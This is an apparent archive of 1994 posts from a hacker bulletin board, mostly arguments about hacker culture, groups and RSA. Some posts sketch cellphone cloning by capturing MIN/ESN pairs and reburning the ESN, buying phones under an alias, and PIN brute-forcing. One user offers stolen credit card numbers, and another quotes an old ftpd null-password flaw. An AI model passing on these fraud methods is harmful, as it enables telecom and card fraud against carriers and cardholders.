Nice shot. ;) But all the K3wL 3l33t HacK3rZ got caught....I want to be
just like Mark Abene when I grow up...
Cosmos
From hawkwind@yabbs Mon Apr 4 14:50:35 1994
From: hawkwind@yabbs
To: all@yabbs
Subject: IIRG and TRSI
Date: Mon Apr 4 14:50:35 1994
Thanx for the help...me thinks when they ask about warez kiddie groups
(TRSI) they're wasting my time...*heck* I'm STILL waiting to be
validated... *twidling of thumbs*
IIRG = Internation Information Retrieval Guild (some H/P board in
St8s)
TRSI is that warez group Tri *whatever*
So Cosmos, how's it going today?
(Don't let that ole high horse of yours die! ;-) )
L8rs,
Hawk.
From Fastjack@yabbs Mon Apr 4 19:25:42 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: ohmygosh
Date: Mon Apr 4 19:25:42 1994
In message re: ohmygosh, cosmos said:
> Nice shot. ;) But all the K3wL 3l33t HacK3rZ got caught....I want to be
> just like Mark Abene when I grow up...
Yeah, I mean, maybe the guy knows more than your average cracker,
but he still *got caught*. He's in _Wired_ and _Scientific American_ in one
month, fergoshsakes...
FJ
From promethe@yabbs Thu Apr 7 03:07:47 1994
From: promethe@yabbs
To: all@yabbs
Subject: #hack on irc! (yuck)
Date: Thu Apr 7 03:07:47 1994
Salutations,
after LONG hard work to compile irc on a system
that has been very badly configured I connect to
the #hack room on some irc. What I get is a bunch
of insults just because I want to learn. Most
of the ppl on there are worthless ppl who think
are the best thing since Queen Elizabeth.
Don't hackers also think that sometime in their
lives they didnt know not even half as much as
they know now? com'on guys, remember that person
that helped you to begin your hacking life?
Wouldnt you like to give bak some of the
knowledge you have so someone else might get
a kickstart?
anyway, i wish i had something more to say but
i'm just to sleepy to continue.
good nite,
prometheus
.
From dialtone@yabbs Thu Apr 7 05:17:34 1994
From: dialtone@yabbs
To: all@yabbs
Subject: Operation Sundevil
Date: Thu Apr 7 05:17:34 1994
It may be completely old junk... But does anyone have and captured net
msg's from the sundevil bust .. or know of a site to come by them..?
(I'm just looking for the other names from some of the less metioned
states)
Greets.....Cosmos
From cosmos@yabbs Thu Apr 7 06:43:33 1994
From: cosmos@yabbs
To: promethe@yabbs
Subject: re: #hack on irc! (yuck)
Date: Thu Apr 7 06:43:33 1994
Well, I pity the fool that thinks he is going to get any info from #hack
on the IRC....
Why dont you pick up some text and learn something for yourself, did that
thought ever cross your mind??
Cosmos
From uufnord@yabbs Thu Apr 7 06:50:00 1994
From: uufnord@yabbs
To: all@yabbs
Subject: that never crossed my mind
Date: Thu Apr 7 06:50:00 1994
Wow. I'm totally stinking crazy. That's neat.
From promethe@yabbs Thu Apr 7 19:34:00 1994
From: promethe@yabbs
To: cosmos@yabbs
Subject: re: #hack on irc! (yuck)
Date: Thu Apr 7 19:34:00 1994
Salutations,
well, that's what ppl here recommended me to do...
anyway... what type of texts are you referring to?
RFCs? man pages? what? old phrack files? (grin)
well, i've read tons of RFCs and man pages and
books and whatever... but the best thing for
some beginner like me would be to get some
nice help from someone that is knowledgeable.
I believe that is hacker culture is being destroyed
not by feds or any such thing but by old hackers.
profound love,
prometheus
From cosmos@yabbs Thu Apr 7 20:46:23 1994
From: cosmos@yabbs
To: promethe@yabbs
Subject: re: #hack on irc! (yuck)
Date: Thu Apr 7 20:46:23 1994
Sigh....
The best thing you can do IS READ all the stuff you mentioned...you dont
need a babysitter holding your hand every step of the way. Hacker
culture?? If that isnt an oxymoron I dont know what is. Blah.
Learn C, UNIX and get a good job. Dont waste your time trying to become a
culture...
Cosmos
From promethe@yabbs Fri Apr 8 02:45:23 1994
From: promethe@yabbs
To: cosmos@yabbs
Subject: re: #hack on irc! (yuck)
Date: Fri Apr 8 02:45:23 1994
Salutations,
I guess you are too inteligent to help someone
else... but really who cares?
If you don't want to help don't!! Just stop messing
with things that you don't know... instead of
trying to teach me to hack or not... try to
be someone that someone would like to talk
with.
btw, i WOULDN't be here AT ALL if I didn't hack...
so it's not something that I just like doing since
I got nothing else to do! I believe it's not
me that needs a babysitter but someone else.
now I understand why nobody calls you by
your complete name... why bother?
thoughtfully,
void *(*(*prometheus(int argv, char argc)) (HYPER int *HACK!))
PS: if there is someone that would like
some beginner please email me... there has
to be ppl that arent like cos. (yeah cos)
From cosmos@yabbs Fri Apr 8 05:42:31 1994
From: cosmos@yabbs
To: promethe@yabbs
Subject: re: #hack on irc! (yuck)
Date: Fri Apr 8 05:42:31 1994
Heheh..cos I like. In fact, I use it sometimes myself. ;)
And as for your whining about me not helping you, go right ahead and keep
whining. Nobody I ever have known throughout the years has ever sat on a
BBS/#hack and whined and pissed and moaned about noone helping them to
"hack" etc... Maybe that's why today we have clueless rejects and the
"old time bastards". The old timers refuse to pander to a group of
weenies that read alt.2600, hang out on #hack and beg for information when
they can go out and get it for themselves, read and learn.
But no. They would rather sit on their DOS peecee and call BBS systems
that require stupid tests to see if they know the "proper" groups for
3l33t access. They expect a vast section of knowledge to be handed down
to them on a golden platter...ie, "How do I hack this...". When you tell
them to read the RFC, the books, the texts, even the friggin man pages
they go ballistic. "Hey, thats not cool youre being a jerk." Heh, maybe,
but thats the way we learned and believe me, it works.
But you dont want to hear this. So flame away, I really do find it
amusing. Although I have talked to a few here that actually have a clue..
Cosmos
From promethe@yabbs Fri Apr 8 20:43:36 1994
From: promethe@yabbs
To: cosmos@yabbs
Subject: re: #hack on irc! (yuck)
Date: Fri Apr 8 20:43:36 1994
the flamming is over...
the only thing is that if you can't help don't
try to show you know it all. Telling me to
learn C and Unix has nothing to do with what I
asked.
It's like asking for apples and getting oranges. I
asked about net protocols... but i guess you
got confused. I know C and i'm learning Unix
everyday, and I don't need someone trying to
find out if I do or not know some stuff.
The message: don't open your mouth if you can't
help or make the situation worse.
voidly,
prometheus
From dialtone@yabbs Sat Apr 9 00:41:18 1994
From: dialtone@yabbs
To: promethe@yabbs
Subject: re: #hack on irc! (yuck)
Date: Sat Apr 9 00:41:18 1994
Give me a break and go somewhere else with this complaining...The main
part of being a hacker is exploring on your own after you have the general
knowledge...(I.E reading anything you can get your hands on) Don't just
learn unix,vax,dec....read system operations and be creative to exploit
the flaws.......If someone held your hand then YOU wouldn't be hacking...
Do you really think anyone is going to risk going to jail just so they can
say....I teach people to hack you honor doesn't that count for somthing?
geeze go cry someplace else.....Take the bull by the horns and hack
it...Never mind......I'm not going to sit here and give a ethics lesson to
a 10 year old...
From tknight@yabbs Sat Apr 9 11:47:37 1994
From: tknight@yabbs
To: Dprogram@yabbs
Subject: re: red ...
Date: Sat Apr 9 11:47:37 1994
thats bull. My non memory tone dialer fools operators all the time. I have
practiced alot though.
Tobias Knighgt
i meant tobias knight(no backspace)
From tknight@yabbs Sat Apr 9 12:01:57 1994
From: tknight@yabbs
To: feotus@yabbs
Subject: re: ohmygosh
Date: Sat Apr 9 12:01:57 1994
yes, the call boxes due have esn's and the whole bit. This scam was un by
some guys in L.A. for a while and it took the cops forever tocatch them(5
years). Another question, I have the cash,I want a cell phone, I dont
want a service agrement(i have my own calling plan :) ) I dont want to
spend 400 bux to get one without it. The fences around here are stupid as
fuck and dont even stock them,any advice?
Tobias Knight
From tknight@yabbs Sat Apr 9 12:03:44 1994
From: tknight@yabbs
To: Angstrom@yabbs
Subject: re: bbs...
Date: Sat Apr 9 12:03:44 1994
Underground eXperts United.
cool mag,kinda a like a foreign cDc.
Tobias Knight
From tknight@yabbs Sat Apr 9 12:10:17 1994
From: tknight@yabbs
To: all@yabbs
Subject: re: bbs...
Date: Sat Apr 9 12:10:17 1994
oh joy of joys, I have a question.
IF you dont know what i'm talking about go back to sleep.(Cosmos you can
wake up now,its a real question) Does anyone know anything about the MARK
system? i've gotten into one but i dont know much about it. I've dug
through all my lodtj's and phracks,nia's etc..but no luck. anyone have any
information about this type of system?
Tobias Knight
From cosmos@yabbs Sat Apr 9 14:20:28 1994
From: cosmos@yabbs
To: dialtone@yabbs
Subject: re: #hack on irc! (yuck)
Date: Sat Apr 9 14:20:28 1994
Heh, and I didnt even have to say it this time...
Cosmos
From feotus@yabbs Sat Apr 9 18:27:38 1994
From: feotus@yabbs
To: all@yabbs
Subject: harhar
Date: Sat Apr 9 18:27:38 1994
Hmmm, a little post to tie up some ends
cellphones: well what you could do is go to like your mall or something
and usually there is at least one little stand or store that is trying to
sell cell phones and they will attempt to sell you the acces. All you
have to do is buy the phone and then when they go to sell the acces to
you, or when they say you have to have it activated thru them, either just
tell them NO, or sign the papers and never use it, that way later on you
just don't pay it and after awhile you can star playing with that new
cellphone. Hee this one bar near here was actually giving them away on
St. Pattys day to whoever dressed the most liek alephrachaun. Another
thing,depnding on size of town is to go to a wholesaler or something liek
that.
#hack: ohmygosh. You can pick up sooooo much stuff from there, just like
alt.2600, I swear I see at least five scripts a day that let you take over
Internet, all youhave to do is eecute them on your account. I swear, Im
not lying, would a hacker ever bullshit anyone?
sidenote: Look in a bookstore for this book called _Cyberia_ it's like
another culture book about cyberspace and it has the fuckin funniest part
on hackers in it. The hackers totally pull the guys leg and start telling
how they fight with TRW tiger teams for the control of the govt systems
and how they have their notes sunk a few miles off the Atlantic shelf and
they have people who can get them for them 8) I ws laffing forever after
that one.
Promethe: well if you want to learn Inet tprotocals there is a good
primer for TCP/IP in a old phrack, as well as n various FYIs at Internic
and other places, such as rtfm.mit.edu. Read RFCs FOR REAL, jsut dont say
you read them, cause if you really did read them you wouldnt have to ask
about protocols, since almost every single protocol ont he net has a RFC
for it.
From uufnord@yabbs Sun Apr 10 01:57:20 1994
From: uufnord@yabbs
To: all@yabbs
Subject: Get a Good Job
Date: Sun Apr 10 01:57:20 1994
All y'all hackin' dope smokin' varmints a-comin' up from the dell is 'bout
five to nine seven and still goin'. All y'all hackin' and sellin' dope is
what all y'all live fer. Cain't see no future outisde of 'em, cain't live
at all wiffout them thar hackin' and smokin' dope.
Think I go and watch me some porno giffies.
From johndeer@yabbs Sun Apr 10 14:17:18 1994
From: johndeer@yabbs
To: all@yabbs
Subject: stuff
Date: Sun Apr 10 14:17:18 1994
Magstipe readers at grocery stores:
it appears as if most of them ARE connected centrally to a computer
onsite. since the registers usually are (to perform matchups between UPC
and price) and teh credit card thingies are connected to the register, it
wouldn't be that hard. i'm sure the verify is performed like they are for
ordinary verifones. perhaps the grocery storetems are smart enough to
"batch process" verifies if more than one is sent at a time.
the new thing they have, at least in the Wash. DC area, is SCAN, which is
teh "shared check authorization network".. this device reads the numbers
on the bottom of a check (which is NOT OCR, but instead, MICR) and dials
up a database run by the SCAN company that performs a verify.. they
interface with most POS register systems as well..
one thing i've always been thinking about is cracking the PIN on
atm/credit cards. yes, i know they're encrypted, but almost all pins are
4 digits, which leaves only 10,000 possibilities. if I had a magstripe
reader interface to a computer, and a copy of the encryption algorithm
(which must be semi-public, for these multitudes of POS devices to perform
checks), I could crack it on a computer in minimal time..
cell fones on the freeway:
there was a thread in telecom digest a while back, but as I recall the
devices are low-power (well, i guess all cell-fones are) and they recharge
daily witha solar panel on the top of the box. i wouldn't recommend
snagging them, as i'm sure they're stripped down, custom models, which
don't have any features at all. probably not even a keypad.
john Deere
From cosmos@yabbs Sun Apr 10 16:11:50 1994
From: cosmos@yabbs
To: johndeer@yabbs
Subject: re: stuff
Date: Sun Apr 10 16:11:50 1994
Sigh....
Post that to alt.2600
Cosmos
From promethe@yabbs Sun Apr 10 19:22:03 1994
From: promethe@yabbs
To: all@yabbs
Subject: re: stuff
Date: Sun Apr 10 19:22:03 1994
Salutations,
thanks feotus... i really do read them.. but from now on
i guess i'll go deeper into them.
dialtone, if you don't understand the problem don't try to
solve it. I asked about net protocols and cosmos comes with
weirdest idea about reading books about c and unix. Did he
ever ask if I knew any of those?
cosmos, i remember a quote: "The greatest of a person is not
on how much it has but in how much it can give others.[A
(not greatest but greatness)
as I said previously the flamming is over.
with profound love,
prometheus
From feotus@yabbs Sun Apr 10 22:46:10 1994
From: feotus@yabbs
To: promethe@yabbs
Subject: greatness
Date: Sun Apr 10 22:46:10 1994
since when has anyone in this forum ever expressed aspirations to achieve
greatness?
if you learn some unix than the protocols would come much quicker, as well
as C. It's all linked together.
cos - should we just take any informative post to alt.2600? They do seem
to have a lack of them. But otherwise I see no reason to bother. your
funny.
From ButtrBoy@yabbs Mon Apr 11 11:04:45 1994
From: ButtrBoy@yabbs
To: all@yabbs
Subject: Group.
Date: Mon Apr 11 11:04:45 1994
All hack groups are bad luck. Bad karma. Bound to get in trouble,
even if nothing happens. They'll just stick you with a conspiracy
charge, don't need evidence of your wrongdoing; by dint of
your affiliation with a group, you're guilty.
ex. Phiber Optik. Mingle a little, but don't push your luck
hacking as part of a group. Bad news.
From htoaster@yabbs Mon Apr 11 11:11:29 1994
From: htoaster@yabbs
To: ButtrBoy@yabbs
Subject: re: Group.
Date: Mon Apr 11 11:11:29 1994
i'd tend to agree with butterboy...you can always hang out w/ others who hack,
but don't give yourself a group name or any of that shit, and don't let
anyone know that you hack together...its easy to get caught, and being in
a group makes it easier...
better yet, if you want to learn, don't learn hacking. get yourself a unix
account (hey, their cheap...$20/month isn't bad and is realizable in a ton
of places)...learn the system...program neat stuff...i learned a whole lot
more writing yabbs than i ever learned breaking into systems...
alex
From cosmos@yabbs Mon Apr 11 11:46:58 1994
From: cosmos@yabbs
To: htoaster@yabbs
Subject: re: Group.
Date: Mon Apr 11 11:46:58 1994
Yep. Listen to HT. Groups are a bad idea. As for the hacking bit, I
really don't care who is running around doing what. Hell, I just can't
stand the state of the "modern" cracker. What ever happened to exploring
and learning on ones own intuition??
It's like feeding time at the zoo...gimme gimme gimme.
Cosmos
From promethe@yabbs Mon Apr 11 13:29:52 1994
From: promethe@yabbs
To: arachnoi@yabbs
Subject: re: #hack on irc! (yuck)
Date: Mon Apr 11 13:29:52 1994
I appreciate a lot your post... thanks for info...
I was beginning to think everyone was nuts but
now I can see a clear picture.. thx thx thx
pro
From Fastjack@yabbs Mon Apr 11 13:59:59 1994
From: Fastjack@yabbs
To: htoaster@yabbs
Subject: re: Group.
Date: Mon Apr 11 13:59:59 1994
yIn message re: Group., htoaster said:
> i'd tend to agree with butterboy...you can always hang out w/ others who hack,
> but don't give yourself a group name or any of that shit, and don't let
> anyone know that you hack together...its easy to get caught, and being in
> a group makes it easier...
>
> better yet, if you want to learn, don't learn hacking. get yourself a unix
^^^^^^^^^
Don't you mean cracking? Hate to be picky, but I consider myself a
hacker; someone who understands the system that they are on thoroughly--
whether they are breaking into the system or securing it is irrelevant.
Contrast this with most of the 'gimme-gimme' guys as cosmos says-- they
don't want to learn, they just want power and bragging rights.
> account (hey, their cheap...$20/month isn't bad and is realizable in a ton
> of places)...learn the system...program neat stuff...i learned a whole lot
> more writing yabbs than i ever learned breaking into systems...
And I learned a whole lot more about security when I broke into
systems, and a whole lot more anout breaking into systems when I was
securing them....:)
:FJ
From feotus@yabbs Tue Apr 12 21:42:04 1994
From: feotus@yabbs
To: all@yabbs
Subject: re: Group.
Date: Tue Apr 12 21:42:04 1994
Groups arent that bad as long sa you realize that you dont even tell them
about the real shit you do. I mean it's cool to have poele to esily trade
with alot, but as far as ever actually going into places etc.. I usually
keep it to me myself and I. tho I have three freinds, whch started out as
a group, who I would share alot of stuff withh, but I trust them mroe than
I would ever trust anyone else, but that's still not enough to let them
know my real name etc..
I learned more from setting up Linux on a few systems and installing the
networking software and programming ont hem than I did the whole time I
was just a newbie cracker stealing passwd files and running Cjack ont hem
like a lamer. Then after getting a base you start picking stuff up alot
faster. I must admit tho, tha majority of new crack/hackers that I ever
run into today are sipmply wannabes who want you to hand it all to them on
a fuckin chrome platter.
From dialtone@yabbs Wed Apr 13 04:55:36 1994
From: dialtone@yabbs
To: all@yabbs
Subject: re: Group.
Date: Wed Apr 13 04:55:36 1994
I cant understand the mentality.... To be a hacker is to first and
foremost to be stealthy.... If you belong to a group then you only become
more popular...you dont think people take notice...but...not only do they
notice but they take note...and when the bust comes down hackers will
turn in their fellow group members like its going outa style...I have seen
it first hand!....
Promethe....You really dont understand...Why make yourself look lame...Go
out and get the information...Everyone else does!...jeeze they even gave
you the places to look...(Forget it ... This is not a war board)
Has anyone heard if their will be a summercon this year?
From gigi@yabbs Wed Apr 13 08:34:03 1994
From: gigi@yabbs
To: all@yabbs
Subject: my calender speaks
Date: Wed Apr 13 08:34:03 1994
"many of life's failures are people who did not realize how close they
were to success when they gave up."
q
From feotus@yabbs Wed Apr 13 14:12:28 1994
From: feotus@yabbs
To: all@yabbs
Subject: hnnmm
Date: Wed Apr 13 14:12:28 1994
Dialtone - most groups will turn each other in, but with the people that I
would trust they won't. Why do I know this? Because there was a bust and
said persons didnt squeel on the others. they could have easily done so,
but they didnt. Sure most groups you see out there get too big for there
too be any trust like this, but a small tight group is the best you can
get. you get trust and resources. you can do some awesome shit if
everyone does their part.
From Skywise@yabbs Wed Apr 13 17:56:15 1994
From: Skywise@yabbs
To: dialtone@yabbs
Subject: re: Group.
Date: Wed Apr 13 17:56:15 1994
Summercon. Heh. Funny joke you stealthy hacker you.
From Skywise@yabbs Wed Apr 13 17:59:54 1994
From: Skywise@yabbs
To: feotus@yabbs
Subject: re: hnnmm
Date: Wed Apr 13 17:59:54 1994
What about a triad stuctured group? I have heard that no matter how many
actual members there are in this type of group the MAXIMUM number of
members that could be busted is four. I know that it is made up of groups
of three people that work together. Anyone know how it works?
From cosmos@yabbs Wed Apr 13 20:36:40 1994
From: cosmos@yabbs
To: all@yabbs
Subject: Groups...
Date: Wed Apr 13 20:36:40 1994
I had to say this. Group "hacking" is shit. Now, I know what is gonna
storm in after the masses read this..."but what about LOD/MOD
achievments", they were so k00l. People, groups are childish. System
exploration is one thing, but hacking groups are so pathetic.
Yeah, yeah, yeah...I know. I am just a conceited old school bastard who
doesnt hand out free tips to the kiddies.
Cosmos
From dialtone@yabbs Thu Apr 14 00:24:24 1994
From: dialtone@yabbs
To: all@yabbs
Subject: <no title>
Date: Thu Apr 14 00:24:24 1994
OK.....tightly webbed groups......friends in the same city same
area....(i.e you can storm a site and actually have someone to lookout for
ya....) but you still dont understand......I have never seen any group
that was so tightly webbed that they didnt BRAG.......When you get to be a
certain age (the age where you can serve time) you'll live under this same
mentality....Ya see they dont give a shit weather or not you directly done
anything....they just storm your house (with lots of agents (and many
cars)) and take all your STUFF.....the game some of us played when we
where younger is no longer a game.....But hey there your friends (and
you'll see how goood when the buck stops) For myself....I trust NO ONE!
Maybe thats sounds over paranoid but...I'll visit you in the pen okay!
I didn't really expect a reply to the summmer con thing...(If I was
curious where any next meets were I can assure you I wouldn't ask here)
Sooo Stealthy...
From Quetzal@yabbs Sat Apr 16 16:43:11 1994
From: Quetzal@yabbs
To: dialtone@yabbs
Subject: re: <no title>
Date: Sat Apr 16 16:43:11 1994
Cosmo is definitly right! groups are lae and they always have weak
linkit's better to hack by yourself and trade secrets, but stay
your distance.
From cosmos@yabbs Sat Apr 16 20:07:45 1994
From: cosmos@yabbs
To: Nitz@yabbs
Subject: re: FOR sale
Date: Sat Apr 16 20:07:45 1994
Listen up Nitz you pathetic fuck. First off, I can't believe you would
seriously post this shti about selling redboxes. Try alt.2600 shit for
brains. If this is a joke...take it elsewhere.
BTW, I think I might wander on down to Main street this weekend. Perhpas
Ill stop by Grogs Pizza or La Bamba's for a quick bite before I come and
buy one of your k00l redboxes and then shove it up your ass!
Cosmos
From dialtone@yabbs Sun Apr 17 03:54:04 1994
From: dialtone@yabbs
To: all@yabbs
Subject: re: FOR sale
Date: Sun Apr 17 03:54:04 1994
I missed it....You can't be serious...(Selling red box's?) It must have
been the message that is maked for deletion...Either the joke's on us or
he never came out of the 70's....
From rattler@yabbs Sun Apr 17 07:00:33 1994
From: rattler@yabbs
To: feotus@yabbs
Subject: re: sum
Date: Sun Apr 17 07:00:33 1994
this is problably gonna get a few replies, but a 1024 RSA key for
people like NSA with the right funding is like hours instead of years.
From rattler@yabbs Sun Apr 17 07:02:37 1994
From: rattler@yabbs
To: Lacey@yabbs
Subject: re: newbie question
Date: Sun Apr 17 07:02:37 1994
maybe the guy tried to make a joke ?
(it's ONLY an idea, like ?)
From feotus@yabbs Sun Apr 17 11:06:57 1994
From: feotus@yabbs
To: rattler@yabbs
Subject: rsa
Date: Sun Apr 17 11:06:57 1994
NOPE, you're wrong
it's not hours
you should now go shoot whoever told you that lie.
a 1024 bit RSA is very very secure, tho i wouldnt use it if your trying to
get anything like the life expectancy or plutonium out of it. It'll be
secure for a long long time.
try years not hours.
just think how long it took them to crack *ONE* modulous of it on a bunch
of different computers witha whole shitload of power. And then realize
that is only *ONE* modulous out aof an almost infinite amount.
try factoring some massive primes sometime, you'll see
From JasonLee@yabbs Sun Apr 17 11:54:20 1994
From: JasonLee@yabbs
To: cosmos@yabbs
Subject: re: FOR sale
Date: Sun Apr 17 11:54:20 1994
cosmos said:
BTW, I think I might wander on down to Main street this weekend. Perhpas
Ill stop by Grogs Pizza or La Bamba's for a quick bite before I come and
buy one of your k00l redboxes and then shove it up your ass!
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
GIF! GIF! GIF!
JasonLee
From mephisto@yabbs Sun Apr 17 13:31:17 1994
From: mephisto@yabbs
To: feotus@yabbs
Subject: re: cellphones
Date: Sun Apr 17 13:31:17 1994
Dude, ofcourse, you see ads in the papers all the time "Free cell phone
for x", or "Win a free cell phone if you do that"... you forget to read
the fine print... you've GOT TO PAY the subscription price fo a certain #
of months... if you buy a phone w/o subscription, you're looking at a
good $600+. Yeah, you can get 'em free, but you're going to end up paying
a few hundred $ for the fucking subscription...
From Schief@yabbs Sun Apr 17 20:57:44 1994
From: Schief@yabbs
To: all@yabbs
Subject: rexd hole?
Date: Sun Apr 17 20:57:44 1994
I heard someone mention a hole involving rexd. Could someone explain this
for my benefit, since I am unfamiliar with this one...
From ButtrBoy@yabbs Mon Apr 18 01:53:37 1994
From: ButtrBoy@yabbs
To: Schief@yabbs
Subject: re: rexd hole?
Date: Mon Apr 18 01:53:37 1994
rexd? is this a daemon for a protocol i've never heard about?
on the bugtraq list there was recently a flurry over ftpd
trojans...something in the passwd checking routine (looks
like this in ftpd.c:)
#ifdef ULTRIX_AUTH
if ((numfails = ultrix_check_pass(passwd, xpasswd)) < 0) {
#else
/* The strcmp does not catch null passwords! */
if (pw == NULL || *pw->pw_passwd == '\0' ||
strcmp(xpasswd, pw->pw_passwd)) {
#endif
reply(530, "Login incorrect.");
All ftpd versions 2.2 and before are insecure, wu-ftpd 2.3 is
the new patched version. The above snatch of src is from the
earlier version...
From dmonger@yabbs Mon Apr 18 11:03:35 1994
From: dmonger@yabbs
To: feotus@yabbs
Subject: re: rsa
Date: Mon Apr 18 11:03:35 1994
had a discussion about this with a couple of friends of mine once.
the key is dedicated hardware. Crays are cool, but there's too much
overhead. Why bother tho .... XILINX are your friends and i'm sure you
could write a dedicated decrypter to run really, really fast.
-peter
From cosmos@yabbs Mon Apr 18 11:24:06 1994
From: cosmos@yabbs
To: Schief@yabbs
Subject: re: rexd hole?
Date: Mon Apr 18 11:24:06 1994
Trying to catch up eh??
Cosmos
From feotus@yabbs Tue Apr 19 21:02:00 1994
From: feotus@yabbs
To: mephisto@yabbs
Subject: re: cellphones
Date: Tue Apr 19 21:02:00 1994
yes I know you have to pay the activation etc.. that is why I included the
part about buying them under an alias. So you pay cash, like 69 dollars
for the radio shack model of this deal(ACK) and then walk away to never be
seen again. they ty to trace down your alias with no luck. You now have
a cellphone, BUT either od it in a town far away, OR know how to repburn
the ESN and otehr assorted info you'll need.
From dialtone@yabbs Wed Apr 20 18:21:41 1994
From: dialtone@yabbs
To: all@yabbs
Subject: re: cellphones
Date: Wed Apr 20 18:21:41 1994
Why are we even talking about this??????
--------------------------------------
several years ago this stuff has been exploited, used, abused etc..
People (drug dealers) would run one phone with a multible esn switch so
all they had to do was just switch over to the next esn when to abused
just by hitting a switch this would also throw off the cell in tracking.
I`m sorry but this is old reading but yet it still is news for some
reason? just go over to the local radio shack and get thier book on cell
phone tech. and be done with it.
From feotus@yabbs Fri Apr 22 19:57:31 1994
From: feotus@yabbs
To: dialtone@yabbs
Subject: re: cellphones
Date: Fri Apr 22 19:57:31 1994
well aparently you didnt do it ever 8)
you also need to make sure that youhave a valid MIN/ESN combo. So you
don't just switch the ESN. You have to vampiore other ESSN/MIN combos
that are valid and switch among them.
also the Rad Shack books are not as close to as informative as the
manufacturers technical manual.
if you just switch ESN then youwont get thru, since when you transmit to
the cell-0base you transmit the MIN and the ESN which are compared as a
pair to the ones on record and must be valid together. Now the thing is
you can pick up other phones MIN/ESN combos as they tranmit to tower if
you have a scanner, or suitably modified cellphone.
From dialtone@yabbs Sat Apr 23 04:09:10 1994
From: dialtone@yabbs
To: feotus@yabbs
Subject: re: cellphones
Date: Sat Apr 23 04:09:10 1994
Look I know about the min/esn combo and about scanning!!!!!
I was refering to the time's of ole when cellular was under the
IMTS/AFSK system .... (i.e you didnt need the esn/min combo that was
registered with the person or manufacturer whom you got it from!)
As for the book from radio shack well I was also refering to thier one on
basic switching (it covers cellular and principles)
Thanks for the reply thou (its nice to still see someone reads out thier)
8)
From charta@yabbs Sat Apr 23 08:19:37 1994
From: charta@yabbs
To: all@yabbs
Subject: Gopher to Unix
Date: Sat Apr 23 08:19:37 1994
I've a little problem. I have access to a Gopher but no access to a Unix
system, so I can't use FTP or telnet. Are there any way to get a free,
legal account on Internet, which I can access via the Gopher..?
From Jeremiah@yabbs Sat Apr 23 14:27:38 1994
From: Jeremiah@yabbs
To: dialtone@yabbs
Subject: I do believe.
Date: Sat Apr 23 14:27:38 1994
I have the text on my friends computer.... I'll try to dig it up for
ya...
From cosmos@yabbs Sat Apr 23 14:39:59 1994
From: cosmos@yabbs
To: charta@yabbs
Subject: re: Gopher to Unix
Date: Sat Apr 23 14:39:59 1994
Fuck gopher.
Look for a public access site close to your city or try one of them
freenet thingies...hell, anythings better than gopher.
Cosmos
From Zbadba@yabbs Sat Apr 23 19:24:20 1994
From: Zbadba@yabbs
To: charta@yabbs
Subject: re: Gopher to Unix
Date: Sat Apr 23 19:24:20 1994
Most systems have patched this, but....
Try doing a veronica search for the string "telnet and session and host"
it should give you what is apparently a search query. then enter the
hostname in that box, and there you go. telnet.
Most places have fixed that by now, tho.
From Fastjack@yabbs Sun Apr 24 01:20:04 1994
From: Fastjack@yabbs
To: cosmos@yabbs
Subject: re: Gopher to Unix
Date: Sun Apr 24 01:20:04 1994
In message re: Gopher to Unix, cosmos said:
> Look for a public access site close to your city or try one of them
> freenet thingies...hell, anythings better than gopher.
Are you kidding? I mean, yeah, it's free, but have you tried any
recently? I know from my dealings on this board previously that I have
access on a lotbetter system than most, and I guess I'm spoiled with access.
But the only thing you can really do on a freenet is mail, gopher, that sort
of thing. You should look for a site where you can get Unix shell access,
access to a compiler, that sort of thing. Look for $15-$20/month, flat fee.
I haven't seen a freenet that lets you do a goddamn thing. But you get what
you pay for...:)
:FJ
From dialtone@yabbs Sun Apr 24 12:23:40 1994
From: dialtone@yabbs
To: Jeremiah@yabbs
Subject: re: I do believe.
Date: Sun Apr 24 12:23:40 1994
Thanks.....
From GPF@yabbs Sun Apr 24 20:05:58 1994
From: GPF@yabbs
To: Fastjack@yabbs
Subject: re: Gopher to Unix
Date: Sun Apr 24 20:05:58 1994
actually..... try cyberspace.org instant shell access.. no validation
c compiler too :)
From Phain@yabbs Tue Apr 26 23:10:49 1994
From: Phain@yabbs
To: all@yabbs
Subject: credit verification
Date: Tue Apr 26 23:10:49 1994
Greets all,
The other day, I slotted my credit card at the local BP station.
While I was waiting, I heard the distinct dialup sound of a modem and
the telltale fuzz of information running across the line. There was no
one in line behind me, and the guy didn't seem in a rush, so I asked
him if there was a phone line running into his card verification device.
He let me get a good look at it. Later that evening I returned with a
tape recorder and talked the guy into letting me get a recording of the
tones. I have not yet tried to use my recording, but was curious if
anyone out there had fooled with this sort of thing before. The H/P croud
around here had never heard of anyone experimenting with this before.
Lata,
Phain.
From Zakfeign@yabbs Wed Apr 27 09:33:51 1994
From: Zakfeign@yabbs
To: charta@yabbs
Subject: re: Gopher to Unix
Date: Wed Apr 27 09:33:51 1994
try getting an accnt. at a university... it would help to be enrollled!
From Skywise@yabbs Wed Apr 27 10:19:44 1994
From: Skywise@yabbs
To: Phain@yabbs
Subject: re: credit verification
Date: Wed Apr 27 10:19:44 1994
You are Beavis!!!!!!!
(profound isn't it?)
From Quetzal@yabbs Wed Apr 27 18:35:09 1994
From: Quetzal@yabbs
To: Phain@yabbs
Subject: re: credit verification
Date: Wed Apr 27 18:35:09 1994
I to have wondered about credit verification or veriphones system...
if you look at the back of the machine you'll notice a 9pin din plug
connecter... if you have the right configuration on yor computer you may
be able to hook you computer directly in the a backing system!?
--------------------------------------banking----^ but that's only a
theory
Quetzal
From charta@yabbs Thu Apr 28 07:50:03 1994
From: charta@yabbs
To: cosmos@yabbs
Subject: re: Gopher to Unix
Date: Thu Apr 28 07:50:03 1994
I live in Sweden and we have no public access sites, fuck!
I've been on the net illegal, but I don't dare it anymore, to many people
getting busted. I don't know if my use of the Gopherserver is illegal, but
I hope it isn't.
From Roosevel@yabbs Fri Apr 29 22:19:42 1994
From: Roosevel@yabbs
To: Phain@yabbs
Subject: re: credit verification
Date: Fri Apr 29 22:19:42 1994
Are you serious?
That machine is just a 300 baud modem/computer which connects to the local
TYMENET or special store connection and confirms a password, transfers you
credit card information and processes a approval number or decline.
Its similar to the credit card hacker programs of the late 80s. You log
onto TYMENET and your computer goes through a algorithm of credit card
sequences and you get a authorization if it works.
My question to you : What the hell do you plan to do with working credit
card numbers except log on the pay services (ie. America On-Line,etc).
If you just want credit card numbers send me bitnet messages and I'll give
you some.
From Phain@yabbs Sat Apr 30 16:22:15 1994
From: Phain@yabbs
To: Roosevel@yabbs
Subject: re: credit verification
Date: Sat Apr 30 16:22:15 1994
